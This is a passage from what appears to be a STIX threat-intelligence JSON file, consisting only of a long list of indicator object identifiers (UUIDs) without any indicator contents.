        "indicator--83d00ba6-cb8b-4326-86f6-8923cbc64ef5",
        "indicator--6ce0c393-c467-4f0c-849a-609283434648",
        "indicator--ddf341ab-b265-4e44-99b3-6d29268fe495",
        "indicator--fb8a4374-2c9c-48c4-aafb-96b6ac687d8b",
        "indicator--59732f45-c7b9-4693-ab25-8f5f8ec3a92c",
        "indicator--db9a6f8a-e7d2-4fa4-962a-8d463bc7f3b3",
        "indicator--cbff6618-80d4-48c1-b500-a88f1a633ae0",
        "indicator--b8b60e9e-0513-4eb7-8ca2-f6ff95e20826",
        "indicator--635a5d42-9a1b-4b8f-9f93-17b6c2082a7d",
        "indicator--52bb4eed-bfee-49e1-a6bd-e2c4f7e15bf0",
        "indicator--69e26472-ea4b-4bf6-a6ab-8cf861a441f9",
        "indicator--47b09a5d-760a-49ec-a21f-10b007987d77",
        "indicator--1dbce74f-6b92-45f6-b215-51e1db7979a8",
        "indicator--6f7fcd2e-988c-4531-ad46-f922567fd3bc",
        "indicator--20648bee-b5c1-468d-bb19-eb2684bd7a40",
        "indicator--25b16f2c-5843-4394-b415-dc751882dbd6",
        "indicator--0cc7a57d-8749-4467-ae1d-d80525db8368",
        "indicator--ab6ee8ad-dab4-4725-8fd8-1b39527c9fbb",
        "indicator--9ba7f616-d28e-4abb-b967-5332393d0fb6",
        "indicator--c6cb8671-aafc-44fe-b8fb-e43f745a5709",
        "indicator--9d52913b-ed8e-49eb-80ca-2dc13ae90e89",
        "indicator--a268af9d-5f85-4550-8706-d2c8304c0508",
        "indicator--e72db1c6-de6d-4af6-9733-969601c0c0bb",
        "indicator--d13ff3ca-8257-4176-9ab9-c4a24e0ee581",
        "indicator--535c009b-c835-4d79-92ed-6c803fd6a9d1",
        "indicator--34d2097c-c61a-4b51-991a-1a681fc8ba91",
        "indicator--02ea60cf-1caa-4f1d-8f9d-841576ea9209",
        "indicator--e8fe992e-5b38-4ec9-9921-4280eee86587",
        "indicator--502bc9eb-2ed6-4872-9b95-175eb8948d0c",
        "indicator--87d65e9c-00e3-4d2a-9dec-c99177323301",
        "indicator--36951f78-152f-40bd-931f-9b846ad9689c",
        "indicator--fc03585b-1f89-4661-8e65-7b79cf60ea8e",
        "indicator--72993b59-5bf0-4092-8c25-eeaf1a1e38d8",
        "indicator--151540a9-bb57-4c17-8795-46b6c17dcf2e",
        "indicator--b15e6277-3314-43db-ae9b-e8e5232b21dc",
        "indicator--f35507ca-7571-4bbb-87e5-eb9513e99336",
        "indicator--6481c3c1-aa66-42b7-8c67-aca4e9ca7cfb",
        "indicator--8ba11abd-766b-4c4d-a085-88a0fce73ecf",
        "indicator--b36daeaf-208a-4699-9e4f-5f72b147dc5c",
        "indicator--55c1e8c4-3202-4840-a2fa-6c99813fc664",
        "indicator--0fb19720-ccfb-4f87-a848-e76240629fbb",
        "indicator--303ae204-7771-4a1a-bec0-1d30f1d4f8e7",
        "indicator--0b7f3879-b87c-4ead-9987-02b1bd13f391",
        "indicator--db8ea311-9f27-45c2-aaa4-7ea99c0792b0",
        "indicator--eedbffe2-a4d9-422f-9512-f3daad5f91a4",
        "indicator--07755dd2-f11b-43e0-a5fc-72ba8671e980",
        "indicator--7f99ba9b-c9d8-4435-a9c7-0ba78dff5bc2",
        "indicator--354a1a16-8e47-4364-9fc0-e3044ea7d215",
        "indicator--82904ee5-1a91-4029-b90c-cf200ca7eb52",
        "indicator--7a3aa368-883d-4241-9069-f376f8654113",
        "indicator--db8d5d09-25b9-4e10-8b57-90d20bbb437c",
        "indicator--e7b5e999-73bd-4b62-8358-5bd6ccc3ca80",
        "indicator--5bda17f7-b940-489b-a8d9-272c1ce72c5c",
        "indicator--ac122913-d09d-4bd8-8f27-ad7e437cb08d",
        "indicator--4d332c75-5281-4381-b368-d241b8fbaa05",
        "indicator--da09a45e-1c89-4cda-87f2-9bbbe985dd8d",
        "indicator--bd898e95-7c5a-4055-b090-8f0643ece676",
        "indicator--de6ba3a7-28d6-40fe-9159-22a4248eefd1",
        "indicator--e2e2ebd0-2d52-4c11-9aaf-502a7decd65e",
        "indicator--11df1070-77d2-4486-9308-7364802fda6f",
        "indicator--8dd6f15e-12f5-49b7-a165-dcc5221c837d",
        "indicator--69742af0-92a2-4f64-bbe2-6bb99b2a7332",
        "indicator--79e71d2c-1694-4d0f-9f0e-53e0a4be8ab3",
        "indicator--5e3e5db0-c96c-4c7e-ab06-8ceee73cfb2e",
        "indicator--925e47fe-a417-4f5c-8f63-63c72a416b8b",
        "indicator--d30512c9-a502-41f8-aa79-209cb768cba3",
        "indicator--32c8f9e2-91c6-470a-8b90-c97604d631cd",
        "indicator--28953f48-5cdb-4d02-8f4c-47ca89c83d92",
        "indicator--c3a800f2-1f12-48e8-a98f-de566784dd89",
        "indicator--df68ae7b-3ff5-4500-b90d-64af304a7f21",
        "indicator--a7f83e39-cf10-45a8-b9be-122a53f26c0c",
        "indicator--f3ad86f3-8ee0-42a5-a32b-4f9600d93866",
        "indicator--0cc65b5d-10c5-4dae-b3a7-b328a05a1a35",
        "indicator--69061a7f-fd0a-400f-a1c9-e15286119969",
        "indicator--a0228a0f-6f7b-404c-987a-5d3889a6c4a5",
        "indicator--fbc213a2-988b-45ba-848d-49ac7102823b",
        "indicator--ca22862b-c330-4693-8449-b23fdfb1f35e",
        "indicator--a7cd3627-259f-462c-82a5-166e86731e06",
        "indicator--465d9e64-7cd7-4f95-b9b0-bd1401909e6c",
        "indicator--656567a5-df35-4732-8e6c-b8eefa1be162",
        "indicator--879ee3f9-b0a4-4f1b-a2ee-82f4fcb2aa7c",
        "indicator--f40b36c6-9f2c-4dc9-bbdd-4c1fd229a705",
        "indicator--91de55ab-3c0a-424a-a5cd-40e4e13d06d7",
        "indicator--e4577398-1700-4f1f-9578-8ce67e13f986",
        "indicator--cb10dece-d038-40b4-9073-966aad74d8df",
        "indicator--26bebf31-72f0-4137-a34f-a90480f0fb63",
        "indicator--3913d42f-0b8b-4abd-b38e-67ea31def454",
        "indicator--a80530bc-57d1-4ccc-8691-acf2fa678967",
        "indicator--fb001d00-42a5-4d0c-94ee-8242b47268f3",
        "indicator--92ba52b4-99de-4424-a63f-7ed1d4c4d3e5",
        "indicator--44bee08d-1f83-4c04-89b7-0b92e162677e",
        "indicator--38a8ab61-75b5-4a2e-b595-40a2f0780fe1",
        "indicator--98efb260-e108-4bb8-8580-4edc4f92805c",
        "indicator--782fdc53-004d-45f7-b669-5769441dbaf9",
        "indicator--0f6cf3c4-a961-410b-9a9d-8008c24e7b6e",
        "indicator--565274ce-c33e-411d-a682-31a1059cbdee",
        "indicator--c1fafcd8-b843-41bb-adef-57a68f84508c",
        "indicator--fa7cad24-76ae-4310-813c-e12b158119ec",
        "indicator--64277aa6-2867-4c83-a08e-ac4cb018aa07",
        "indicator--9191d87d-f170-4667-9bce-df063a7902ae",
        "indicator--ecbaee13-f0dc-49f9-99d3-76135e464c50",
        "indicator--b5601232-8753-436f-aef4-49fa6df70162",
        "indicator--a9a0b232-3100-4f77-81e4-3cca69a1e2ce",
        "indicator--cc72feb4-6f04-44ab-8a32-4a14f511bdae",
        "indicator--91c3b517-da8d-4fa3-9b3f-140a65571f25",
        "indicator--37a0a304-2f4c-4f0e-b5ef-92d391dcf687",
        "indicator--58f8e7b6-de91-4d4d-80fc-22cd0b2427ae",
        "indicator--8b4af161-3adb-404e-9022-3dcd6d350a4e",
        "indicator--a03b136d-75d2-4350-a6f2-d22e77f794c9",
        "indicator--f2aea1b7-f509-496f-a7f7-fa076d776e1c",
        "indicator--994cc521-6bb1-4552-ba77-0e2cb67de328",
        "indicator--9b77073b-afbf-471f-b6ee-05240d8bf0aa",
        "indicator--88adb546-7848-4306-bf88-3fa04b595b38",
        "indicator--0b529a9f-57f3-4a62-948c-6e93e19cf484",
        "indicator--b195003f-d1a0-4d76-adde-f43cdb2bfeda",
        "indicator--7f5b89ff-4bef-46d1-bc76-972b33d71247",
        "indicator--8a4672b4-d273-4096-b0e7-6af5fd0b2795",
        "indicator--851acfd0-8251-43cd-ab80-d7a2b9ce44bc",
        "indicator--c95e3456-9a62-4576-8e42-d6a9fd4f28a9",
        "indicator--272cedfc-68eb-4782-960a-2dce793722d3",
        "indicator--3b5300ba-a7e7-4770-82fb-12d17cc52615",
        "indicator--6e5eb335-e270-4b37-8eb6-d6d5881272ac",
        "indicator--0c55c4e1-b950-47db-9e16-9ae8e2d1e9a6",
        "indicator--f8e1a332-66c9-4081-b758-0da72eb769fb",
        "indicator--9cbf651b-a3c8-4c5d-91c8-2bc9f692eb83",
        "indicator--22bf3fc2-9bfe-43be-84fc-c31bd62672cb",
        "indicator--02a4c9d7-2502-4658-9543-1e2bf4a0062e",
        "indicator--b2d6cfb7-4ce1-4882-9a2e-469dda74286b",
        "indicator--dd2349c9-6c71-4442-a927-8c9d80ed4c04",
        "indicator--a0fb014f-0820-4390-abbb-d3e4aa0f20ac",
        "indicator--646ea418-165c-442e-a4c9-6c238cf682db",
        "indicator--f1fc9b71-f2c4-4982-aea4-31b07594d973",
        "indicator--8793a858-f849-4ecf-8f6b-cfa2844357a4",
        "indicator--44cdf502-0541-467b-9351-00e508272e4d",
        "indicator--7c4cba99-6fe1-4f95-8b42-246fc9393c79",
        "indicator--1791506e-db49-445f-894a-58a26e153c8f",
        "indicator--39248f7b-321c-4f49-b35b-64503212e71a",
        "indicator--53c00fcd-94e2-4270-b835-9050d56a13d8",
        "indicator--e088b5ef-5ddf-4fa9-9879-4463cb47438a",
        "indicator--46fbd2e2-0be2-4b92-bbcb-2bcc22a5e841",
        "indicator--07e352a9-40f6-473b-aa07-b39fe1fd6046",
        "indicator--854fcb53-5bb8-4d51-8a04-50cccb467427",
        "indicator--cbd4273b-2aff-45f0-8a69-e4c82deaad57",
        "indicator--132ee1a8-43a1-484f-8eb3-5978fc443749",
        "indicator--824e7c83-47a1-4505-946b-c65d2e3fdd24",
        "indicator--7e46af59-e504-4338-b421-4b9f7057faf8",
        "indicator--2041d361-1b4b-4ff9-966a-c07df07ead63",
        "indicator--c15df773-cbea-45d1-8138-5fd186218344",
        "indicator--9f29daad-ce40-4fea-9030-77b79963c6f4",
        "indicator--92813bfa-1ec6-44b3-966c-9f66fef0207d",
        "indicator--71058e91-1a57-4685-9b9d-dac775589eef",
        "indicator--a8ee70b4-7eab-4ffa-b848-361b42789606",
        "indicator--98a77d66-b835-446c-9a10-c3b05e1c4c8b",
        "indicator--4dd37afd-24e2-4334-83de-3c0c11f63a86",
        "indicator--985d0168-4a0e-474a-8a2a-74bae0b7d6c3",
        "indicator--55c91075-b636-4b38-bbb9-f636b43a5700",
        "indicator--55a17de2-62f2-4692-8bb4-ee62c3edb459",
        "indicator--d2739f72-f321-4c8c-85af-d164544fb087",
        "indicator--59fbd3fb-8150-4c91-9013-ceaf1632fa42",
        "indicator--64be6e04-fa9d-40ee-a30e-4c8ed4e0a8df",
        "indicator--35ca57d2-29f1-4acf-8b47-370df8b38373",
        "indicator--1cba0ba9-5227-4bf8-a8d4-7c150b39e544",
        "indicator--3e45bf14-0a33-4f5a-98de-c7b843b4ba93",
        "indicator--1e269c1a-02fe-4d0b-bda4-99516cf42eee",
        "indicator--ebbb3b2c-b2ad-423e-8bcb-7e18ef53f290",
        "indicator--9fd38e45-990a-4c39-bcb6-3c8157b9e179",
        "indicator--49d9ba1d-5635-4878-8afe-47860548e0c5",
        "indicator--a22acaf8-bd81-4a10-94b7-4acfdc548c56",
        "indicator--38a6822f-eead-425d-9f40-7aec1a4f92c5",
        "indicator--c124ff9c-d335-4428-9e8f-a969e169907d",
        "indicator--72f17fba-7fb2-4f6f-b625-6b2458c46951",
        "indicator--f40b754c-c1e0-4655-8092-e65db07fb8c4",
        "indicator--6e94dad6-5996-4c9f-8ebe-311856a19599",
        "indicator--91d6fe5a-a13f-4e86-a676-ec6df0503c30",
        "indicator--eb6eb39d-3b3d-4712-a524-b174d0788ffb",
        "indicator--0880ca89-b664-4fe0-8863-6ec4fd154519",
        "indicator--0891812b-9bae-48db-997a-aac6f6e5ad82",
        "indicator--ed95a4a2-3e2c-40cc-8f38-3ef5a4dcb769",
        "indicator--196835ee-f954-4207-87e3-0e80fbcafa77",
        "indicator--a819c54e-181c-418d-bdd2-4130840d8a86",
        "indicator--137965d5-bd51-4d79-a172-07a3f8657163",
        "indicator--bcab8ce5-4e71-46e0-9bd3-0dc3d09f1d6a",
        "indicator--2714bacd-90ba-4392-acb2-c72a602d2d81",
        "indicator--27f666b0-c8da-4608-a94d-92d26da8c1ca",
        "indicator--ed8b8936-22b7-4154-9cce-45106ef947ad",
        "indicator--a7ea1741-b58a-4ae7-86e8-543491a2b9ca",
        "indicator--38834f81-d9ee-42ac-bd27-6c04c6bee973",
        "indicator--73d857c8-2a9b-4e6f-a905-1639e6123edf",
        "indicator--8429b7f8-1627-49d3-a9d2-18654410cdb5",
        "indicator--d7294170-2835-4bfb-b73d-20cf198c3275",
        "indicator--dd369d39-e4f0-41a7-9be3-5d8eb1406d6f",
        "indicator--3cc803d9-90ec-4871-bd65-5e87aa90048a",
        "indicator--c7fec4bf-da34-4cdb-9ccd-5f92b57a5cda",
        "indicator--e86837cd-9ec7-45f9-a1ce-330a681a9e64",
        "indicator--5e29ff54-daf5-4c6b-a48d-d2c6f5a1c573",
        "indicator--deb62426-a0f8-4231-a02f-1bb134832edc",
        "indicator--ddafb065-58d2-4aac-ae21-536a704df6ed",
        "indicator--11d68cd8-3ec0-4d50-be82-37aed7bdc98b",
        "indicator--6a97ae46-2261-4ebc-b6bf-451bdc78c43e",
        "indicator--e5bf9a96-93b6-41be-aa0e-8bbf1a7b2d36",
        "indicator--8c28ca36-c9b8-4acb-b7e6-9f902d6d1310",
        "indicator--49c0b0fc-f04f-4e4f-b7bf-65d4cbd073b2",
        "indicator--3db0057b-d9ed-4aee-921b-6a13645eefe6",
        "indicator--328c1c41-61a2-457a-b41e-91111f9c0608",
        "indicator--28c46579-5489-41dd-9ce1-81dc745c5d55",
        "indicator--a18bc0b8-9140-44d0-a482-694c3b9a23ee",
        "indicator--5f4c6d77-0592-4f40-848f-2e1612cb8bf7",
        "indicator--21d5195c-390b-4f58-8d9a-2cdab3825fc7",
        "indicator--014c7701-563b-4208-8732-1f360cb8ccb6",
        "indicator--84fd24dc-b323-40ce-8bf7-1ba96e098c36",
        "indicator--13193125-7131-44b9-a39f-bc4ebcef69d4",
        "indicator--a42c9467-6190-4965-9651-0e3dc89c8896",
        "indicator--c4739f49-1f70-43f9-b3ab-38ac44581bef",
        "indicator--c6d6b46d-2c7c-4312-9f69-d97c8194927d",
        "indicator--f4181abe-cf8a-445a-93a6-12ac44fff809",
        "indicator--8d62feb9-15dc-4718-a4b4-5208477ab52d",
        "indicator--91766c36-7b8d-4c9a-bcb9-1d39a43470e5",
        "indicator--b2853b4c-517e-4dcb-9ce5-2c7b0858fccb",
        "indicator--01ea2a4a-bfc5-4ab7-9970-0545cdccca99",
        "indicator--63b50d7c-9801-4a20-b713-4903dbab5a26",
        "indicator--fa6a1dd4-26bf-4b45-b803-06001b0acbf5",
        "indicator--5721b0b6-7e55-40b1-ab2c-8c17e06970bc",
        "indicator--61f124c8-0fed-4957-8d09-86aba97dbcfb",
        "indicator--b70ac5ae-839a-4417-bf60-a71c7b91e274",
        "indicator--1213e23f-0b42-4021-ae9b-ed92d74e90cf",
        "indicator--51de1ec3-de77-4542-a164-84a1fa87217e",
        "indicator--c37d3922-91a5-4f32-a1f1-f0777b98d00e",
        "indicator--588705a4-11db-4903-95f7-b239aaa6d307",
        "indicator--8d4962ff-b1c7-456e-b11c-bc7be946bf46",
        "indicator--fcd8b427-8c7c-40b6-8109-b9239e574047",
        "indicator--ff1c2d8a-f087-406f-b270-fb4b795379a7",
        "indicator--4a5fa6a3-016c-43a7-8491-093d4b14eec6",
        "indicator--eee26487-011b-4be7-a915-67eb58935ae0",
        "indicator--cd077717-5579-49bc-9395-7062bc03b78a",
        "indicator--85e3424a-8b11-4a5f-ab54-7622f8e3ec71",
        "indicator--8005bbbe-7e0b-4638-b638-5d7c8438dd72",
        "indicator--b1853147-a874-474f-b0fc-5d8776a3c10f",
        "indicator--2d91e4b5-a451-450a-8d03-f638fec3851c",
        "indicator--0c3258c1-81d7-45f8-bb12-b8eb742a7aca",
        "indicator--5079f51e-d1dc-4755-99df-80ea3803d6c6",
        "indicator--3546d3b0-cedb-4e23-af48-e801fac98b71",
        "indicator--6d72ba14-a7ff-46ee-9996-c5983052f050",
        "indicator--9722e3b0-9c6d-422c-82bb-f9bdda4bd525",
        "indicator--52ba966b-8e2b-43ac-95d4-4655364a95e4",
        "indicator--8e1f3bec-5ff4-4964-ae2a-13a4550ed616",
        "indicator--712db464-6995-4b7d-8976-9b51c4209195",
        "indicator--1a163e36-10d2-4c7a-bd0c-dbd0c40ac6d0",
        "indicator--4cb13760-42e5-42c1-a3c4-c3b55aa6f7df",
        "indicator--f4b83542-c7ed-4caf-8592-2893073dcc81",
        "indicator--87038c02-aaa6-4ddd-bbc1-34a973024217",
        "indicator--b8e27683-7578-4adf-9392-36bc7f71c1b4",
        "indicator--1d218202-5030-4838-95df-f3812102c27a",
        "indicator--b76535f2-c9a0-4a2f-bbe0-561185afd3cf",
        "indicator--3ce9fa99-699f-4186-bc2c-532bb5b85882",
        "indicator--b353e67f-e70d-4215-9f1f-cae539da8719",
        "indicator--d96ce89b-bebd-4fc6-90f5-932d02315ade",
        "indicator--ff77053d-21d3-40c5-a98d-57a5833b7f3e",
        "indicator--d8853ac7-14f7-472f-9a51-32bb0b69ebfa",
        "indicator--0cf5b86f-4e7e-4ea0-8a7c-5b85019089cb",
        "indicator--182f889e-5128-4fb4-bb20-bf411bbbcff5",
        "indicator--a8004d9d-0a77-4cb0-b66e-55364aef378d",
        "indicator--0596664b-fd55-4717-8265-3f7f089f5578",
        "indicator--9f47ad59-0d81-427a-9273-2b5d0be493e1",
        "indicator--85c215e0-14fd-413b-90b9-71253872a110",
        "indicator--95604dc1-88d3-41b9-a167-5e4882a2d4f0",
        "indicator--51519385-ca47-4b7d-885b-2bdd20fbea6b",
        "indicator--11c7b7d4-f15c-4147-bf76-f4e674c62aa9",
        "indicator--f9896149-f23b-4f59-9a2b-99c3ebbe2bd5",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--dce309c8-15ae-466b-9006-682516d4fda0",
        "indicator--06fa2e72-a5ec-4209-86d0-b23547e8a6ae",
        "indicator--e16bca99-c2ba-46bd-bf62-f258b4f7ab8f",
        "indicator--700bfa94-6f20-4eee-9bc7-2776f859aacf",
        "indicator--f38d025f-682d-4e58-a50e-62811bbd538d",
        "indicator--f6efa29e-3fe8-4adc-9732-682c24c0c90f",
        "indicator--65c8d8b3-e1d3-459c-b781-20289172235e",
        "indicator--0470a545-7def-4172-bb67-2cfdcc6d515a",
        "indicator--470cbd85-3b19-4a10-aa48-f81145b26469",
        "indicator--f0219478-cd3d-4b40-847d-bc7909c08ab6",
        "indicator--638bd07e-f3dd-4758-b94d-b9f6147b703c",
        "indicator--525484b1-e774-40a1-92c7-14b38d94a7ff",
        "indicator--7cb9d072-792b-4032-b982-12461767d478",
        "indicator--39f13d88-aa2a-41c0-b166-d028ddf28e14",
        "indicator--3c9c7652-1fff-4527-be60-b53f05168f7f",
        "indicator--53335ae3-77c5-4f9a-a69a-91d18f477300",
        "indicator--df08a679-7276-45c5-bc79-2bc466056eee",
        "indicator--09242acb-5faf-48a9-87a5-78692cf72244",
        "indicator--2df9296d-7f1f-4e35-948b-a0d90862b3d1",
        "indicator--9966992f-8dfe-4ae2-bdcd-a72ea07ccc0d",
        "indicator--134fccab-ed86-4e93-91ec-9e79c16df22c",
        "indicator--4479225e-ef15-4bf6-8f16-298c373c3cab",
        "indicator--672c7278-cc98-4111-b7a7-b417468a94c6",
        "indicator--4999cf4f-f3e6-465d-b936-f51283e0254c",
        "indicator--fad9c61e-b269-4b78-89c3-cc455b48ad15",
        "indicator--f432a989-e2ef-49e4-adfb-a8bb7a883843",
        "indicator--45150e22-f663-4e37-8a07-a979b2f0a834",
        "indicator--ea896514-fc37-4cc4-9e61-5618796b2586",
        "indicator--6e2f5201-2124-4ebc-9e93-7ba5761eb451",
        "indicator--b015a006-03ac-47c0-8b6a-083f076224d4",
        "indicator--e715ae16-2c43-43a6-bd30-45d432443aed",
        "indicator--bd7577a8-d360-43b5-a0ca-f7abf862dd4e",
        "indicator--6b149cd9-b960-4952-93c9-510012764e69",
        "indicator--6b3ccc9f-b0b7-4352-a725-84d4458b898b",
        "indicator--e8659b99-cb8b-4913-ba8c-0871f2610e85",
        "indicator--65a692c2-8839-480c-b4a6-0086e52e6fa3",
        "indicator--65a15347-1ce2-456b-b8c0-a96350e5c9c1",
        "indicator--5e148545-93c4-479a-b635-576494ae440a",
        "indicator--c9937083-506a-45a8-8283-3a7ffaaf89d6",
        "indicator--034e5a18-07b6-4b84-8fa4-eefa53c03e55",
        "indicator--a14781d2-4c92-42bf-a697-f03970af30ba",
        "indicator--6aec0f7c-65c2-4e61-b6a2-083fb97e84c5",
        "indicator--1bae1fde-3993-497c-a01b-f2dba323bd55",
        "indicator--184eee54-d93a-4ab4-a3d8-f577933e37c2",
        "indicator--5dd55893-ac4e-40fe-b5ca-a469ffb002cc",
        "indicator--6329a0a8-54ef-4d43-bcdd-63c9a6de527e",
        "indicator--9e2aca05-ee26-4d46-9a1f-3e42ccccab32",
        "indicator--b39fc5e7-0add-4e9f-b55c-d478b36f10b2",
        "indicator--bb77ec7c-f39b-43a7-abe6-e4b445878bfb",
        "indicator--c6c02ab3-ca50-4299-9a32-bea392e8af11",
        "indicator--4fe6d5b7-9cdf-457f-9a83-111c2dfe1392",
        "indicator--9175ae3c-9bdf-467a-b2a5-b24775e30e4e",
        "indicator--9e80f762-97c4-4495-ad7d-3d5dbfc6e06c",
        "indicator--8deaaedd-7b44-40ab-8f9a-d45dd1cba1ad",
        "indicator--5297bb21-2f5c-4779-9bc3-0969b49b978a",
        "indicator--d88385d2-57ea-4449-82da-54a01e48f1e0",
        "indicator--1f6cd28b-5ba8-49af-a0ef-3d39eac680cc",
        "indicator--c8d99a8a-6d7c-4ff4-8d1e-2f9536b9aec7",
        "indicator--ad4275c1-eff9-4261-a50a-c4c2e54fbdc5",
        "indicator--ad7ca234-fc8d-4c9d-84b8-87216c00b6e2",
        "indicator--d7190731-7688-4f06-a98b-a8da247c0f06",
        "indicator--3d9ec84f-dea3-4a83-88da-46b204611af2",
        "indicator--588eb360-d983-4c8a-971a-2bf5b5532013",
        "indicator--4d0d9163-ef02-4373-a1f8-41e7acbd6869",
        "indicator--e2a7a3f1-2ddf-48ec-85cf-427183665dc7",
        "indicator--7caf74f8-a4fb-48fc-9231-5512553bf01a",
        "indicator--b2d63d9d-bf64-437a-9dce-acd1376f1a16",
        "indicator--db295038-b3df-4473-a66a-bc9002dfe6d0",
        "indicator--2fbf7245-4ac4-4b02-9820-ea0ed1773183",
        "indicator--f9abe87c-6deb-43c2-aeda-2081200add50",
        "indicator--c7472c37-2d5f-4076-ab85-45de00a244b9",
        "indicator--e88b50e9-ec4f-4428-a4c1-cdb1b6651987",
        "indicator--ac3f74be-b81f-4851-986c-58b986d9fe04",
        "indicator--facaea52-bd2e-4ffc-9f47-35c052f0531b",
        "indicator--5e7900d9-0609-4019-b8c4-d9486fabeb8b",
        "indicator--d00502cb-6b2c-4874-aa91-a3930a4c05fa",
        "indicator--4247af6b-e957-480b-ad7f-fca7430496b7",
        "indicator--b0ca87e1-c8ff-434f-9354-a3e97f1a15cb",
        "indicator--4cd9f6e8-b907-44a1-a1e4-8ec327bb0703",
        "indicator--5a3e36d5-089f-4fe6-a3e0-b045912352c1",
        "indicator--9a6bb03d-822e-4847-af22-42681dce125a",
        "indicator--7f1cc747-7a8a-4666-9bdb-4acda077a2cf",
        "indicator--f14cdf2c-baf1-490b-9393-db359bf4ecfc",
        "indicator--9383ff79-3458-4b63-bacd-5a903e5861a1",
        "indicator--dd73dd79-6a84-4be4-922d-bf12ce10833d",
        "indicator--e88c700b-b9ed-4d3a-a77d-67c9ecedbe9b",
        "indicator--a108872c-407a-4b7d-9aa8-92e029426a37",
        "indicator--dc12050a-88d6-46ca-bfb3-1d5ed26e2d40",
        "indicator--3ac70279-b9b4-48be-b928-0b7a842c24cc",
        "indicator--c8eceee3-2bdc-483d-9643-9c85edd46d7b",
        "indicator--8550a24b-764b-4c73-980c-5d210d62cb84",
        "indicator--4913e153-95e3-48c6-b8bd-9fff6a410d84",
        "indicator--2bfb7c85-80ca-4829-aa78-cc7d581a5856",
        "indicator--ac59adf1-9a48-4e61-8946-be96ad55166e",
        "indicator--cf972d4a-cc9a-4df4-a9f1-456b7d2eb818",
        "indicator--5f4b5eb5-43e9-4e74-907c-bcddea529fa1",
        "indicator--c28bb17a-cd2f-4a72-835f-a714057d1f03",
        "indicator--95da3980-6762-48af-9178-7876eec644dc",
        "indicator--9374f72b-4849-4591-8a8f-665a1c30a9af",
        "indicator--4af1d746-8465-4d49-8586-45bbeaaf770a",
        "indicator--96830260-ecba-4048-bf94-c6b00dbf3fd1",
        "indicator--b4b1cd5d-09f7-43e3-9bb7-9e016cb86bb4",
        "indicator--32ef051a-e321-41fb-b8e1-5871c0d0bd28",
        "indicator--078ef95b-1f6d-4b83-b3b2-2cad1f0a17f8",
        "indicator--b86c62ab-d569-4d2f-81dd-cb7d9dc63f99",
        "indicator--439743c6-c71e-46a4-988d-b03353f1ca9f",
        "indicator--2b86f701-2e9a-41d5-b40e-f29ea8751a68",
        "indicator--562f770f-86cb-4f06-b194-97d09084fc48",
        "indicator--d10945ec-9fcd-43bf-8727-33fdcebfb6fa",
        "indicator--dfef02a8-abd0-4913-80d4-af12084f6d53",
        "indicator--d98e7d1d-9dc2-4e7b-a6cb-86dee4af06b9",
        "indicator--0a98deda-65ad-4ebb-909a-21511b5798b6",
        "indicator--e2eec185-f2c4-403e-b033-a29e6a38e924",
        "indicator--461d9ea7-c219-45cb-b2ad-b4f5dc362076",
        "indicator--065c4f09-6bc8-4fdd-bca2-63ed18fd595b",
        "indicator--024e8c4a-8dc9-4ee3-86d7-4864e1d825bf",
        "indicator--38d9118d-5d3b-4dc2-9577-64683dda1ef8",
        "indicator--7c75890c-928e-4aed-9df5-db8a76cd838f",
        "indicator--9f1ef02c-34c1-404e-a08e-1fd84bcd4003",
        "indicator--a5c41298-9e0d-488e-851b-f65cbdc277a0",
        "indicator--585c3a9a-8558-406c-89bf-06dff926fd55",
        "indicator--24ea0c11-8a47-4d02-9f37-8ea3b5fe29be",
        "indicator--17c55fb8-22d1-4698-88f5-4db77f9286cb",
        "indicator--4e99f932-3de0-4c40-81c2-21413c19bc21",
        "indicator--ff6126d4-0fac-4a1e-877e-6d9412270519",
        "indicator--cfed5236-607c-45aa-a07b-e336037d332e",
        "indicator--7aa0f5a4-f0fa-4f7a-8156-30ab29932c38",
        "indicator--417eb497-860f-4fbb-a335-b8d4be9c5a47",
        "indicator--02148d2c-649e-40f8-b9e1-600aaecd9f3c",
        "indicator--a824bc7f-a9f9-421b-8a43-455e7207512f",
        "indicator--63f6e6d2-35d1-431e-8a54-e6a566b5055f",
        "indicator--2d5b8325-2dc2-43e6-a234-46a771daa7cf",
        "indicator--b7befa5a-b051-48c0-9099-33d6758d1dd4",
        "indicator--77e91a12-1598-4bd0-a49b-d7a8617b44ad",
        "indicator--c4bb05ac-919c-4510-95da-76345808e125",
        "indicator--798ab2ff-a414-4a8f-a3f4-aa7ab722226a",
        "indicator--1f3af1a2-d724-4aa0-a3c6-6c6fb1668715",
        "indicator--81f963c2-5075-4433-88e9-356671cba817",
        "indicator--6b7a7d99-c4a9-46aa-9086-2eeab3aa18d1",
        "indicator--b15f81bc-3a0f-4710-b172-70c06284a007",
        "indicator--7800ad97-3c13-44de-997c-4cae68a55fd1",
        "indicator--4690c29f-fd7f-437f-9aeb-0323e5f6b8f5",
        "indicator--4c2967fa-703b-4c26-a7de-122d9fb986d3",
        "indicator--7dc1b3e1-f269-46ae-b6da-3c2714379d6e",
        "indicator--5a3f2bc7-c1d7-4048-910f-7238ffcc996b",
        "indicator--15689277-b09a-492d-addc-614ca0972dd2",
        "indicator--d4b843a3-ed58-4db2-8c55-4d3b7867e17b",
        "indicator--38d57c7d-6efc-4168-a220-a71564b74447",
        "indicator--85151bcd-f110-465a-a5d5-06109973d51a",
        "indicator--6cd94cae-5408-48d2-8f98-184fa69c70d1",
        "indicator--9b9a8f81-b3b7-4f5c-90f9-ab29f975fd4b",
        "indicator--00472424-0caf-4e31-a89b-8d60fe90e65b",
        "indicator--2dda8d55-5f42-498f-a54c-4317718137d5",
        "indicator--46b4813b-9117-445f-bfe6-69a7d8651ca6",
        "indicator--0ed54442-dfdf-4ddf-bda5-e5ed59931d54",
        "indicator--cb7f0370-516c-49af-a006-7b5d355c9694",
        "indicator--9b1c02c2-df9a-4d18-92ac-997f5130800f",
        "indicator--3495dfe8-d122-4eec-916e-41c3c5025328",
        "indicator--eeec5acb-dc2d-4962-9a0e-118fe3853467",
        "indicator--368b3d9c-da57-4dae-b46a-ff6f5ed2e2af",
        "indicator--a0554788-afbe-4b88-b727-741c2a1aff40",
        "indicator--e6b7dc05-209f-44ea-babc-3c03b746dcd6",
        "indicator--4cdfd787-7733-4a40-84ea-3cd78ab57565",
        "indicator--0d0c1435-1b2c-450b-b9a4-d8a299701dc8",
        "indicator--2e99dd9f-a633-40a0-9c55-b0448db8c938",
        "indicator--f4c6b58b-a6b8-48d5-a3dd-4cbc42a8756a",
        "indicator--712f8161-7d49-4f08-bc59-d7065387f815",
        "indicator--34e8126b-3ded-4647-a97a-21d574b077e0",
